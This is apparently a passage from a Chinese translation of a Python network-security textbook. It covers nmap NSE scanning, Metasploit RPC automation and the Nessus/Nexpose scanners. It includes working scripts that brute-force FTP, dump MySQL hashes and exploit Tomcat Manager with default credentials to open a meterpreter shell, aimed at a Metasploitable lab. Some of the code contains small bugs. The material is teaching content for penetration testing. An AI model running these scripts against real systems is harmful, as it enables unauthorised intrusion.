. nmasync . scan ( hostname , arguments = \"-A -sV -p3306 --script mysql-databases.nse\" , callback = callbackMySql ) self . scanning () print 'Checking mysql-databases.nse.....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p3306 --script mysql-dump-hashes.nse\" , callback = callbackMySql ) self . scanning () print 'Checking mysql-dump-hashes.nse.....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p3306 --script mysql-empty-password.nse\" , callback = callbackMySql ) self . scanning () print 'Checking mysql-enum.nse.....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p3306 --script mysql-enum.nse\" , callback = callbackMySql ) self . scanning () print 'Checking mysql-info.nse\".....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p3306 --script mysql-info.nse\" , callback = callbackMySql ) self . scanning () print 'Checking mysql-query.nse.....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p3306 --script mysql-query.nse\" , callback = callbackMySql ) self . scanning () print 'Checking mysql-users.nse.....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p3306 --script mysql-users.nse\" , callback = callbackMySql ) self . scanning () print 'Checking mysql-variables.nse.....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p3306 --script mysql-variables.nse\" , callback = callbackMySql ) self . scanning () print 'Checking mysql-vuln-cve2012-2122.nse.....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p3306 --script mysql-vuln-cve2012-2122.nse\" , callback = callbackMySql ) self . scanning () except Exception , e : print str ( e ) print \"Error to connect with \" + hostname + \" for port scanning\" pass 这是我们的主程序，用于请求目标和端口作为参数，并为每个端口调用 nmapScan(ip,port) 函数： if __name__ == \"__main__\" : parser = argparse . ArgumentParser ( description = 'Nmap scanner async' ) # Main arguments parser . add_argument ( \"-target\" , dest = \"target\" , help = \"target IP / domain\" , required = True ) parser . add_argument ( \"-ports\" , dest = \"ports\" , help = \"Please, specify the target port(s) separated by comma[80,8080 by default]\" , default = \"80,8080\" ) parsed_args = parser . parse_args () port_list = parsed_args . ports . split ( ',' ) ip = parsed_args . target for port in port_list : NmapScannerAsync (). nmapScan ( ip , port ) 现在我们将使用目标和端口参数执行 NMAPSCANERASYNC ： Nmap 脚本的漏洞 在本节中，我们将回顾 python-nmap 模块中支持的扫描模式。"},
    {"text": "执行 Nmap 脚本以检测漏洞 Nmap 最有趣的特性之一是能够执行遵循 Nmap 脚本引擎 （ NSE 规范的脚本。 由于其强大的 Lua 脚本引擎，Nmap 还使您能够执行漏洞评估和利用漏洞。"},
    {"text": "它目前使用脚本检查一些最著名的漏洞： **验证：**执行所有可用的脚本进行验证 **默认：**执行工具默认的基本脚本 **发现：**从目标或受害者处获取信息 **外部：**使用外部资源的脚本 **侵入性：**使用被视为侵入受害者或目标的脚本 **恶意软件：**检查是否存在被恶意代码或后门打开的连接 **安全：**执行非侵入性脚本 Vuln ：发现最知名的漏洞 **全部：**绝对执行 NSE 扩展可用的所有脚本 要检测开放端口服务中可能存在的漏洞，我们可以使用安装模块时可用的 Nmap 脚本。"},
    {"text": "在本例中，我们使用用于身份验证的脚本（ auth 执行 Nmap，该脚本将检查是否存在密码为空的用户，或者默认情况下是否存在用户和密码。 通过此命令，它可以在 MySQL 和 web 服务器 tomcat 的服务中查找用户和密码： nmap - f - sS - sV -- script auth 192.168 . 56.101 在本例中， mysql 端口 3306 允许使用空密码连接根帐户。"},
    {"text": "它还显示从端口 80 收集的信息，如计算机名称和操作系统版本（Metasploitable2-Linux）： Nmap 包含的另一个有趣的脚本是 发现 ，它允许我们了解更多关于我们正在分析的 vm 上运行的服务的信息。"},
    {"text": "通过 discovery 选项，我们可以获得与 vm 上运行的应用相关的服务和路由信息： 检测 FTP 服务中的漏洞 如果我们在目标机器上的端口 21 上运行 ftp anon 脚本 ，我们可以知道 ftp 服务是否允许匿名身份验证，而无需输入用户名和密码。"},
    {"text": "在本例中，我们将看到如何在 FTP 服务器上实现这种身份验证： 在下面的脚本中，我们异步执行扫描，这样我们就可以在某个端口上执行扫描并启动并行脚本，这样当其中一个脚本完成时， defined 函数就会执行。"},
    {"text": "在这种情况下，我们执行为 FTP 服务定义的脚本，每次从脚本获得响应时，都会执行** callbackFTP **功能，这将为我们提供有关该服务的更多信息。"},
    {"text": "您可以在文件名中找到以下代码： NmapScannerAsync_FTP.py ： #!/usr/bin/env python # -*- encoding: utf-8 -*- import optparse , nmap import json import argparse def callbackFTP ( host , result ): try : script = result [ 'scan' ][ host ][ 'tcp' ][ 21 ][ 'script' ] print \"Command line\" + result [ 'nmap' ][ 'command_line' ] for key , value in script . items (): print 'Script {0} --> {1}' . format ( key , value ) except KeyError : # Key is not present pass class NmapScannerAsyncFTP : def __init__ ( self ): self . nmsync = nmap . PortScanner () self . nmasync = nmap . PortScannerAsync () def scanning ( self ): while self . nmasync . still_scanning (): self . nmasync . wait ( 5 ) 此方法检查作为参数传递的端口，并以异步方式启动与 FTP 相关的 Nmap 脚本： def nmapScanAsync ( self , hostname , port ): try : print \"Checking port \" + port + \" ..........\" self . nmsync . scan ( hostname , port ) self . state = self . nmsync [ hostname ][ 'tcp' ][ int ( port )][ 'state' ] print \" [+] \" + hostname + \" tcp/\" + port + \" \" + self . state #FTP if ( port == '21' ) and self . nmsync [ hostname ][ 'tcp' ][ int ( port )][ 'state' ] == 'open' : print 'Checking ftp port with nmap scripts......' #scripts for ftp:21 open print 'Checking ftp-anon.nse .....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p21 --script ftp-anon.nse\" , callback = callbackFTP ) self . scanning () print 'Checking ftp-bounce.nse .....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p21 --script ftp-bounce.nse\" , callback = callbackFTP ) self . scanning () print 'Checking ftp-brute.nse .....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p21 --script ftp-brute.nse\" , callback = callbackFTP ) self . scanning () print 'Checking ftp-libopie.nse .....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p21 --script ftp-libopie.nse\" , callback = callbackFTP ) self . scanning () print 'Checking ftp-proftpd-backdoor.nse .....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p21 --script ftp-proftpd-backdoor.nse\" , callback = callbackFTP ) self . scanning () print 'Checking ftp-vsftpd-backdoor.nse .....' self . nmasync . scan ( hostname , arguments = \"-A -sV -p21 --script ftp-vsftpd-backdoor.nse\" , callback = callbackFTP ) self . scanning () except Exception , e : print str ( e ) print \"Error to connect with \" + hostname + \" for port scanning\" pass 这是我们的主程序，用于请求目标和端口作为参数，并为每个端口调用 nmapScanAsync(ip,port) 函数： if __name__ == \"__main__\" : parser = argparse . ArgumentParser ( description = 'Nmap scanner async' ) # Main arguments parser . add_argument ( \"-target\" , dest = \"target\" , help = \"target IP / domain\" , required = True ) parser . add_argument ( \"-ports\" , dest = \"ports\" , help = \"Please, specify the target port(s) separated by comma[80,8080 by default]\" , default = \"80,8080\" ) parsed_args = parser . parse_args () port_list = parsed_args . ports . split ( ',' ) ip = parsed_args . target for port in port_list : NmapScannerAsyncFTP (). nmapScanAsync ( ip , port ) 现在，我们将使用目标和端口参数执行 nmapScaneRasync_fFTP 。"},
    {"text": "在本例中，我们在 FTP 端口（ 21 上执行扫描，可以看到它执行为此端口定义的每一个脚本，并返回更多信息，可用于以后的攻击或利用过程。 通过执行前面的脚本，我们可以获得有关 FTP 易受攻击服务的信息： python NmapScannerAsync . py - target 192.168 . 56.101 - ports 21 总结 本主题的目标之一是了解允许在特定域或服务器上执行端口扫描器的模块。"},
    {"text": "如果我们需要知道 FTP 服务是否允许匿名身份验证而无需输入用户名和密码，那么需要在端口 21 上运行哪个脚本？ 如果我们需要知道 MySQL 服务是否允许匿名身份验证而无需输入用户名和密码，那么需要在端口 3306 上运行哪个脚本？"},
    {"text": "http://xael.org/pages/python-nmap-en.html https://nmap.org/nsedoc/scripts https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide https://information.rapid7.com/download-metasploitable-2017.html https://media.blackhat.com/bh-us-10/whitepapers/Vaskovitch/BlackHat-USA-2010-Fyodor-Fifield-NMAP-Scripting-Engine-wp.pdf 斯巴达端口扫描： https://sparta.secforce.com SPARTA 是一款用 Python 开发的工具，允许对已打开的服务进行端口扫描、笔测试和安全检测，并与 Nmap 工具集成用于端口扫描。"},
    {"text": "九、与 Metasploit 框架连接 九、与 Metasploit 框架连接 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/09.md 本章介绍了 Metasploit 框架作为一种利用漏洞的工具，以及如何从 Python 通过编程将其与 Python-msfprc 和 pyMetasploit 模块一起使用。 这些模块帮助我们在 Python 和 Metasploit 的 msgrpc 之间进行交互，以自动化模块的执行和 Metasploit 框架中的漏洞利用。 本章将介绍以下主题： Metasploit 框架作为利用漏洞的工具 msfconsole 作为命令控制台界面与 Metasploit 框架交互 将 Metasploit 连接到 python-msfrpc 模块 将 Metasploit 连接到 pyMetasploit 模块 技术要求 本章的示例和源代码可在 GitHub 存储库的 chapter9 文件夹 中找到 https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security 。"},
    {"text": "要登录，您必须使用 msfadmin 作为用户名和密码： Metasploitable 是 Metasploit 组创建的一个虚拟机，它由一个 Ubuntu 8.04 系统的映像组成，其中故意存在具有不安全配置和漏洞的服务，这台虚拟机是为了实践 Metasploit 提供的几个选项而创建的，它对在受控环境中执行测试非常有帮助。"},
    {"text": "此过程可以采取多种不同的形式，但最终目标始终是相同的：获得对受攻击计算机的管理级访问权限 开发是最自由的执行阶段，因为每个系统都是不同的和唯一的。"},
    {"text": "Metasploit 框架允许外部应用使用集成在工具本身中的模块和漏洞。 为此，它提供了一个插件服务，我们可以在执行 Metasploit 的机器上构建该服务，并通过 API 执行提供的不同模块。"},
    {"text": "为此，有必要了解 Metasploit 框架 API（Metasploit Remote API），该 API 可在 上获得 https://community.rapid7.com/docs/DOC-1516 . 元 Sploit 体系结构 Metasploit 体系结构的主要组件是由 Rex、框架核心和框架基础组成的库。"},
    {"text": "它负责处理与网站的连接（例如，当我们在站点中搜索敏感文件时）、套接字（例如，负责从我们的机器连接到 SSH 服务器）以及许多与 SSL 和 Base64 相关的类似实用程序。"},
    {"text": "**MSF:：Core:**它定义了框架的一般功能（模块、漏洞利用和有效负载将如何工作） **MSF:：Base:**的工作方式与 MSF:：Core 类似，主要区别在于它对开发人员更加友好和简化。"},
    {"text": "**工具：**几种通常有用的工具（例如，“列表 _ 接口”向我们显示网络接口信息，“virustotal”检查是否有文件通过 virustotal.com 数据库感染）。"},
    {"text": "为了获得有关目标的必要信息，以确定可能影响目标的漏洞，此类工具有助于在目标系统上制定攻击策略，或者在安全官员的情况下，定义防御措施，使我们能够减轻对易受攻击系统的威胁。"},
    {"text": "除了这里描述的工作模块外，Metasploit 框架还有四个不同的用户界面：msfconsole（Metasploit 框架控制台）、msfcli（Metasploit 框架客户端）、msfgui（Metasploit 框架图形界面）和 msfweb（服务器和 web 界面 Metasploit 框架）。"},
    {"text": "与 Metasploit 框架交互 在本节中，我们将回顾与 Metasploit 框架交互的 msfconsole ，展示获取漏洞利用和有效负载模块的主要命令。 msfconsole 简介 Msfconsole 是我们可以用来与模块交互和执行漏洞利用的工具。"},
    {"text": "默认情况下，此工具安装在 Kali linux 发行版中： Metasploit 利用模块简介 正如前面介绍 Metasploit 框架的章节 中所述，这些漏洞利用是允许攻击者利用易受攻击系统并危害其安全性的代码，这可能是操作系统或其中安装的某些软件中的漏洞。 Metasploit exploit 模块是 Metasploit 中的基本模块，用于封装一个漏洞，用户可以通过一个漏洞攻击多个平台。"},
    {"text": "要查看 Metasploit 的漏洞，您可以在使用该工具后使用 show exploits 命令： 在 Metasploit 框架中开发系统的五个步骤是： 配置活动的利用漏洞攻击 验证漏洞利用选项 选择一个目标 选择有效载荷 启动漏洞攻击 Metasploit 有效载荷模块简介 Payloads 是系统被破坏后运行的代码，主要用于在攻击者的机器和受害者的机器之间建立连接。"},
    {"text": "要查看可用内容，请使用 show payloads 命令： Metasploit 环境中可用的有 通用/shell\\u bind\\u tcp 和 通用/shell\\u reverse\\u tcp ，它们都通过向攻击者提供一个外壳与受害者的机器建立连接，它以控制台的形式提供了访问操作系统资源的用户界面。"},
    {"text": "它们之间的唯一区别是，在第一种情况下，连接是从攻击者的机器连接到受害者的机器，而在第二种情况下，连接是从受害者的机器建立的，这要求攻击者的机器有一个正在侦听的程序来检测该连接。"},
    {"text": "Reverse shells are most useful whenwe detect there is a firewall or IDS in the target machine's that is blocking incoming connections. For more information about when to use a reverse shell, check out https://github.com/rapid7/Metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit . 此外，我们还可以找到其他有效负载，如 MeterMeter/bind_tcp 和 MeterMeter/reverse_tcp ，它们提供了 MeterMeter 会话；"},
    {"text": "首先，您需要加载 msfconsole 并启动 msgrpc 服务： . / msfconsole msfconsole msf exploit ( handler ) > load msgrpc User = msf Pass = password [ * ] MSGRPC Service : 127.0 . 0.1 : 55553 [ * ] MSGRPC Username : user [ * ] MSGRPC Password : password [ * ] Successfully loaded plugin : msgrpc msf exploit ( handler ) > 通过这种方式，我们加载进程以处理来自另一台机器的请求： . / msfrpcd - h Usage : msfrpcd < options > OPTIONS : - P < opt > Specify the password to access msfrpcd - S Disable SSL on the RPC socket - U < opt > Specify the username to access msfrpcd - a < opt > Bind to this IP address - f Run the daemon in the foreground - h Help banner - n Disable database - p < opt > Bind to this port instead of 55553 - u < opt > URI for web server 通过此命令，我们可以执行与 msfconsole 连接的进程，该进程建立为参数 username （ -U ）、 password （ -P ）和 port （ -p ），其中正在监听服务： . / msfrpcd - U msf - P password - p 55553 - n - f 通过这种方式，Metasploit 的 RPC 接口正在侦听端口 55553。"},
    {"text": "MessagePack 简介 在开始解释此模块的操作之前，可以方便地理解 MessagePack 格式，MSGRPC 接口用于在客户端和服务器之间交换信息。 MessagePack 是一种专门用于信息序列化的格式，它使消息更加紧凑，以便在不同的机器之间快速传输信息。"},
    {"text": "有关此格式的更多信息，您可以查询官网： http://msgpack.org 在此屏幕截图中，我们可以看到支持此工具的 API 和语言： Metasploit 框架允许外部应用通过使用 MSGRPC 插件来使用模块和利用漏洞。"},
    {"text": "安装 python msfrpc 您可以从 github.com/SpiderLabs/msfrpc 存储库安装 python-msfrpc 库，并使用安装选项 执行 setup.py 脚本 https://github.com/SpiderLabs/msfrpc/tree/master/python-msfrpc 。"},
    {"text": "您可以在 python 解释器中执行以下命令来验证安装： 安装 msfrpc 的另一种方法是从 SpiderLabs GitHub 存储库获取最新版本的 msfrpc Python 模块，并使用 setup.py 脚本： git clone git : // github . com / SpiderLabs / msfrpc . git msfrpc cd msfrpc / python - msfrpc python setup . py install 现在，服务正在运行并等待来自客户端的连接，通过 python 脚本，我们可以使用 msfrpc 库直接连接。"},
    {"text": "我们的下一步是将代码写入 连接到 Metasploit ，并通过系统验证： import msfrpc # Create a new instance of the Msfrpc client with the default options client = msfrpc . Msfrpc ({ 'port' : 55553 }) # Login to the msfmsg server client . login ( user , password ) 要与 Metasploit 服务器交互，需要了解允许远程控制 Metasploit 框架实例的 API，也称为 Metasploit 远程 API。"},
    {"text": "官方指南可在 获取 https://Metasploit.help.rapid7.com/docs/rpc-api 和 https://Metasploit.help.rapid7.com/docs/sample-usage-of-the-rpc-api 。"},
    {"text": "您可以在 msfrpc 文件夹的 msfrpc_connect.py 文件中找到以下代码： import msfrpc client = msfrpc . Msfrpc ({ 'uri' : '/msfrpc' , 'port' : '5553' , 'host' : '127.0.0.1' , 'ssl' : True }) auth = client . login ( 'msf' , 'password' ) if auth : print str ( client . call ( 'core.version' )) + ' \\n ' print str ( client . call ( 'core.thread_list' , [])) + ' \\n ' print str ( client . call ( 'job.list' , [])) + ' \\n ' print str ( client . call ( 'module.exploits' , [])) + ' \\n ' print str ( client . call ( 'module.auxiliary' , [])) + ' \\n ' print str ( client . call ( 'module.post' , [])) + ' \\n ' print str ( client . call ( 'module.payloads' , [])) + ' \\n ' print str ( client . call ( 'module.encoders' , [])) + ' \\n ' print str ( client . call ( 'module.nops' , [])) + ' \\n ' 在前面的脚本中，使用了 API 中可用的几个函数，这些函数允许我们建立配置值​​获取漏洞和 auxiliary 模块。"},
    {"text": "要创建新控制台，请向脚本中添加以下代码： try : res = client . call ( 'console.create' ) console_id = res [ 'id' ] except : print \"Console create failed \\r\\n \" sys . exit () 执行 API 调用 call 方法允许我们从 Metasploit 中调用 API 元素，这些元素通过 msgrpc 接口出现。"},
    {"text": "为此，我们调用 module.exploits 函数： # Get a list of the exploits from the server mod = client.call('module.exploits') 如果我们想找到所有兼容的有效负载，我们可以调用 module.compatible_payloads 方法来找到与我们的漏洞兼容的有效负载： # Get the list of compatible payloads for the first option ret = client.call('module.compatible_payloads',[mod['modules'][0]]) 如果在本例中，我们将获得此信息并获得第一个选项的兼容有效载荷列表。"},
    {"text": "您可以在 msfrpc 文件夹中的** msfrpc_get_exploits.py 文件中找到以下代码：** **```py import msfrpc username='msf' password=’password’ Create a new instance of the Msfrpc client with the default options client = msfrpc.Msfrpc({'port':55553}) Login in Metasploit server client.login(username,password) Get a list of the exploits from the server exploits = client.call('module.exploits') Get the list of compatible payloads for the first option payloads= client.call('module.compatible_payloads',[mod['modules'][0]]) for i in (payloads.get('payloads')): print(\"\\t%s\" % i) 我们还提供了在 Metasploit 控制台中启动会话的命令。"},
    {"text": "您可以在 msfrpc 文件夹的` msfrpc_create_console.py`文件中找到以下代码： ```py # -*- encoding: utf-8 -*- import msfrpc import time client = msfrpc.Msfrpc({'uri':'/msfrpc', 'port':'5553', 'host':'127.0.0.1', 'ssl': True}) auth = client.login('msf','password') if auth: console = client.call('console.create') #read commands from the file commands_file.txt file = open (\"commands_file.txt\", 'r') commands = file.readlines() file.close() # Execute each of the commands that appear in the file print(len(commands)) for command in commands: resource = client.call('console.write',[console['id'], command]) processData(console['id']) 此外，我们需要一种方法来检查控制台是否准备好获取更多信息，或者是否有错误被打印回给我们。"},
    {"text": "我们可以定义一个函数来读取已执行命令的输出并显示结果： def processData ( consoleId ): while True : readedData = self . client . call ( 'console.read' ,[ consoleId ]) print ( readedData [ 'data' ]) if len ( readedData [ 'data' ]) > 1 : print ( readedData [ 'data' ]) if readedData [ ‘ busy ’ ] == True : time . sleep ( 1 ) continue break 使用 Metasploit 开发 Tomcat 服务 在 Metasploitable 虚拟机环境中安装了 apache tomcat 服务，该服务容易受到远程攻击者的多次攻击。"},
    {"text": "第一种攻击可能是暴力攻击，从一系列单词开始，试图捕获 Tomcat 应用管理器的访问凭据（Tomcat 应用管理器允许我们查看和管理服务器中安装的应用）。"},
    {"text": "通过 info 命令，我们可以看到执行模块所需的选项： 在此屏幕截图中，我们可以看到执行模块所需设置的参数： 选择 auxiliary/scanner/http/ tomcat_mgr_login 模块 后，根据您要进行的分析深度，建立必要的参数配置：例如 STOP_ON_SUCCESS = true 、 RHOSTS = 192.168.100.2 、 RPORT = 8180 、 USER_FILE 和 USERPASS_FILE ；"},
    {"text": "通过此结果，您可以访问服务器并上载文件： 使用 tomcat_mgr_ 部署漏洞 Tomcat 可能造成的另一种攻击是名为 Apache Tomcat Manager Application Deployer Authenticated Code Execution 的漏洞。"},
    {"text": "此漏洞位于 multi/http/tomcat_mgr_deploy 路径中。 在 msf>``command line 输入： use exploit/multi/http/tomcat_mgr_deploy 加载漏洞后，您可以键入 show payloads 和 show options 来配置工具： 通过 显示选项 ，我们可以看到执行模块所需的参数： 要使用它，请执行 exploit/multi/http/tomcat_mgr_deploy 命令。 建立必要参数的配置： RPORT = 8180, RHOST = 192.168.100.2, USERNAME = tomcat, PASSWORD = tomcat ，选择有效负载 java/meterpreter/bind_tcp ，这将建立一个 MeterMeter 会话并执行漏洞利用。 成功执行利用漏洞攻击后，通过 meterpreter 命令解释器建立连接，该解释器提供一组有用的选项来执行操作，以扩展受攻击系统内的权限。"},
    {"text": "您可以在 msfrpc 文件夹的 exploit_tomcat.py 文件中找到以下代码： import msfrpc import time def exploit ( RHOST , RPORT ): client = msfrpc . Msfrpc ({}) client . login ( 'msf' , 'password' ) ress = client . call ( 'console.create' ) console_id = ress [ 'id' ] ## Exploit TOMCAT MANAGER ## commands = \"\"\"use exploit/multi/http/tomcat_mgr_deploy set PATH /manager set HttpUsername tomcat set HttpPassword tomcat set RHOST \"\"\" + RHOST + \"\"\" set RPORT \"\"\" + RPORT + \"\"\" set payload java/meterpreter/bind_tcp exploit \"\"\" print ( \"[+] Exploiting TOMCAT MANAGER on: \" + RHOST ) client . call ( 'console.write' ,[ console_id , commands ]) res = client . call ( 'console.read' ,[ console_id ]) result = res [ 'data' ]. split ( 'n' ) def main (): parser = optparse . OptionParser ( sys . argv [ 0 ] + ' -h RHOST -p LPORT' ) parser . add_option ( '-h' , dest = 'RHOST' , type = 'string' , help = 'Specify a remote host' ) parser . add_option ( '-p' , dest = 'LPORT' , type = 'string' , help = 'specify a port to listen ' ) ( options , args ) = parser . parse_args () RHOST = options . RHOST LPORT = options . LPORT if ( RHOST == None ) and ( RPORT == None ): print parser . usage sys . exit ( 0 ) exploit ( RHOST , RPORT ) if __name__ == \"__main__\" : main () 连接 Metasploit 与 pyMetasploit 在本节中，我们将回顾 Metasploit 以及如何将此框架与 Python 集成。"},
    {"text": "我们可以通过 setup.py 脚本安装从源代码安装模块： $ git clone https : // github . com / allfro / pyMetasploit . git $ cd pyMetasploit $ python setup . py install 安装后，我们可以在脚本中导入模块，并与 MsfRpcClient 类建立连接： >>> from Metasploit.msfrpc import MsfRpcClient >>> client = MsfRpcClient ( 'password' , user = 'msf' ) 与 python 中的 Metasploit 框架交互 MsfRpcClient 类提供了在 Metasploit 框架中导航的核心功能。"},
    {"text": "**模块：**管理 Metasploit 模块的交互和配置（如漏洞利用和辅助）。 **插件：**管理与 Metasploit 内核关联的插件。 **会话：**管理与 Metasploit MeterMeter 会话的交互。"},
    {"text": "与 Metasploit 控制台一样，您可以检索所有可用模块编码器、有效负载和漏洞利用的列表： >>> client . modules . auxiliary >>> client . modules . encoders >>> client . modules . payloads >>> client . modules . post 这将列出利用漏洞模块： exploits = client.modules.exploits 我们可以通过 use 方法激活这些漏洞之一： scan = client.modules.use('exploits', 'multi/http/tomcat_mgr_deploy') 与我们对 python-msfprc 所做的类似，通过这个模块，我们还可以连接到控制台并像在 msfconsole 中一样运行命令。"},
    {"text": "您可以在 pyMetasploit 文件夹的 exploit_tomcat_maanger.py 文件中找到以下代码： from Metasploit.msfrpc import MsfRpcClient from Metasploit.msfconsole import MsfRpcConsole client = MsfRpcClient ( 'password' , user = 'msf' ) exploits = client . modules . exploits for exploit in exploits : print ( \" \\t %s\" % exploit ) scan = client . modules . use ( 'exploits' , 'multi/http/tomcat_mgr_deploy' ) scan . description scan . required scan [ 'RHOST' ] = '192.168.100.2' scan [ 'RPORT' ] = '8180' scan [ 'PATH' ] = '/manager' scan [ 'HttpUsername' ] = 'tomcat' scan [ 'HttpPassword' ] = 'tomcat' scan [ 'payload' ] = 'java/meterpreter/bind_tcp' print ( scan . execute ()) console = MsfRpcConsole ( client ) console . execute ( 'use exploit/multi/http/tomcat_mgr_deploy' ) console . execute ( 'set RHOST 192.168.100.2' ) console . execute ( 'set RPORT 8180' ) console . execute ( 'set PATH /manager' ) console . execute ( 'set HttpUsername tomcat' ) console . execute ( 'set HttpPassword tomcat' ) console . execute ( 'set payload java/meterpreter/bind_tcp' ) console . execute ( 'run' ) 总结 本章的目标之一是了解 Metasploit 框架作为利用漏洞的工具，以及如何在 Python 中以编程方式与 Metasploit 控制台交互。"},
    {"text": "在下一个 章节 中，我们将探讨我们可以在 Metasploitable 虚拟机中找到的漏洞，以及如何从 Python 模块中连接到漏洞扫描器，如 nessus 和 nexpose ，以提取这些漏洞。"},
    {"text": "进一步阅读 在这些链接中，您将找到有关诸如 kali linux 和 Metasploit 框架等工具的更多信息，以及我们用于脚本执行的 Metasploitable 虚拟机的官方文档： https://docs.kali.org/general-use/starting-Metasploit-framework-in-kali https://github.com/rapid7/Metasploit-framework https://information.rapid7.com/Metasploit-framework.html 自动漏洞利用者：此工具使用子流程模块与 Metasploit framework 控制台进行交互，并自动利用 msfconsole: 中的一些漏洞进行攻击 https://github.com/anilbaranyelken/arpag 。"},
    {"text": "十、与漏洞扫描器交互 十、与漏洞扫描器交互 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/10.md 本章将 nessus 和 nexpose 作为漏洞扫描器进行介绍，并为您提供报告服务器和 web 应用中发现的主要漏洞的工具。"},
    {"text": "本章将介绍以下主题： 了解漏洞 了解 nessus 漏洞扫描器 了解允许我们连接 Nessus 服务器的 nessrest 模块 了解 nexpose 漏洞扫描器 了解允许我们连接 Nexpose 服务器的 Pynexpose 模块 技术要求 本章的示例和源代码可在 GitHub 存储库的 chapter 10 文件夹 中找到 https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security 。"},
    {"text": "引入漏洞 在本节中，我们将回顾与漏洞和利用漏洞相关的概念，详细介绍我们可以找到漏洞的格式。 漏洞和漏洞利用 在本节中，我们将介绍有关漏洞和利用漏洞的两个定义。"},
    {"text": "什么是漏洞？ 漏洞是指攻击者可用于更改应用行为（如注入代码或访问私有数据）的应用中的代码或其生成的配置上的错误。 漏洞也可能是系统安全性中的一个弱点，可以利用该漏洞访问系统。"},
    {"text": "为此，开发了利用漏洞的技术，即利用错误、故障或弱点的一段软件、数据片段或脚本，以便在系统或应用中造成不必要的行为，能够强制更改其执行流，并可随意控制。"},
    {"text": "您可以在多个数据库中找到关于不同现有漏洞的信息，例如： 常见漏洞和暴露–信息安全漏洞名称标准： https://cve.mitre.org/cve/ 国家漏洞数据库（NVD）： http://nvd.nist.gov 通常，通过概念证明，已发布的漏洞会被分配相应的攻击。"},
    {"text": "CVE 提供了一个非常有用的漏洞数据库，因为除了分析有问题的漏洞外，它还提供了大量的参考资料，其中我们经常发现攻击该漏洞的漏洞的直接链接。"},
    {"text": "例如，如果我们在 CVE 中查找“heartbleed”（在 OpenSSL 版本 1.0.1 中发现的漏洞，该漏洞允许攻击者从服务器和客户端读取内存），它将为我们提供以下信息： 在此屏幕截图中，我们可以看到 CVE-2014-0160 漏洞的详细信息： CVSS （ 通用漏洞评分系统 代码也可用，这是由 第一 （ 国际响应团队论坛 - 发起的一项公共倡议 http://www.first.org ）并使我们能够解决缺乏标准标准的问题，从而有可能确定哪些漏洞更有可能被成功利用。"},
    {"text": "严重性基于分配给 CVE 的通用漏洞评分系统（CVSS）评分。 大多数漏洞扫描器使用供应商的分数来准确捕获严重性： **高：**该漏洞的 CVSS 基本得分在 8.0 到 10.0 之间。 **中等：**该漏洞的 CVSS 基本得分在 4.0 到 7.9 之间。 **低：**该漏洞的 CVSS 基本得分在 0.0 到 3.9 之间。"},
    {"text": "介绍 Nessus 漏洞扫描器 在本节中，我们将回顾 Nessus 漏洞扫描器，它为您提供报告工具，用于报告我们在服务器和 web 应用中发现的主要漏洞。 安装 Nessus 漏洞扫描器 Nessus 是一款流行的漏洞扫描工具，非常健壮，适用于大型企业网络。"},
    {"text": "要安装它，请转到 https://www.tenable.com/downloads/nessus 并按照操作系统的说明进行操作： 另外，您需要从 获取激活码 https://www.tenable.com/products/nessus/activation-code ： 执行 Nessus 漏洞扫描器 安装完成后，如果您在 Linux 上运行，可以执行“ /etc/init.d/nessusd start ”命令；"},
    {"text": "然后，您必须进入 扫描选项卡 ，该选项卡可以在图像中看到，并选择 基本网络扫描 选项： 进行此选择后，将打开界面，其中必须确定扫描器的目标（无论是计算机还是网络）、扫描器的策略和名称，以便能够识别扫描器。"},
    {"text": "通过使用此工具，以及在专门数据库中的搜索，可以获得系统中存在的不同漏洞，从而使我们能够进入下一个阶段：攻击。 使用 Nessus 识别漏洞 此工具补充了通过在专用数据库中进行查询来识别漏洞的过程。"},
    {"text": "该报告由不同现有漏洞的执行摘要组成。 本摘要根据不同的漏洞的严重性，根据颜色代码排列不同的漏洞。 每个漏洞都有其严重性、漏洞代码和简要说明。"},
    {"text": "在这里，我们可以看到发现的所有漏洞的摘要，按严重程度排序： 在这里，我们可以看到所有漏洞的详细信息，以及对严重程度的描述： 名为 Debian OpenSSh/OpenSSL 包随机数生成器弱点的漏洞是 Metaspolitable 虚拟机中最关键的漏洞之一。"},
    {"text": "我们可以用 pip 安装 nessrest 模块： $ pip install nessrest 如果我们尝试从 github 源代码构建项目，依赖关系可以通过 pip install -r requirements.txt ** 您可以通过以下方式在脚本中导入模块： from nessrest import ness6rest 与 Nessus 服务器交互 要从 python 与 nessus 交互，我们必须使用 ness6rest.Scanner 类初始化扫描器，作为 url 参数、用户名和密码传递以访问 nessus 服务器实例： We can use the Scanner init constructor method to initialize the connection with the server: scanner = ness6rest . Scanner ( url = \"https://server:8834\" , login = \"username\" , password = \"password\" ) 默认情况下，我们使用自签名证书运行 Nessus ，但我们可以禁用 SSL 证书检查。"},
    {"text": "为此，我们需要将另一个参数 insecure=True 传递给扫描器初始值设定项： scanner = ness6rest . Scanner ( url = \"https://server:8834\" , login = \"username\" , password = \"password\" , insecure = True ) 在模块文档中，我们可以看到扫描特定目标的方法，通过 scan_results() 我们可以得到扫描结果： 要添加并启动扫描，请使用 scan_add 方法指定目标： scan . scan_add ( targets = \"192.168.100.2\" ) scan . scan_run () 介绍 Nexpose 漏洞扫描器 在本节中，我们将回顾 Nexpose 漏洞扫描器，它为您提供了报告工具，用于报告我们在服务器和 web 应用中发现的主要漏洞。 安装 Nexpose 漏洞扫描器 Nexpose 是一个漏洞扫描器，与 nessus 的方法类似，因为除了允许我们对网络上的多台机器运行扫描外，它还具有一个插件系统和一个 API，允许将外部代码例程与引擎集成。 NeXpose 是 Rapid7 为扫描和发现漏洞而开发的工具。"},
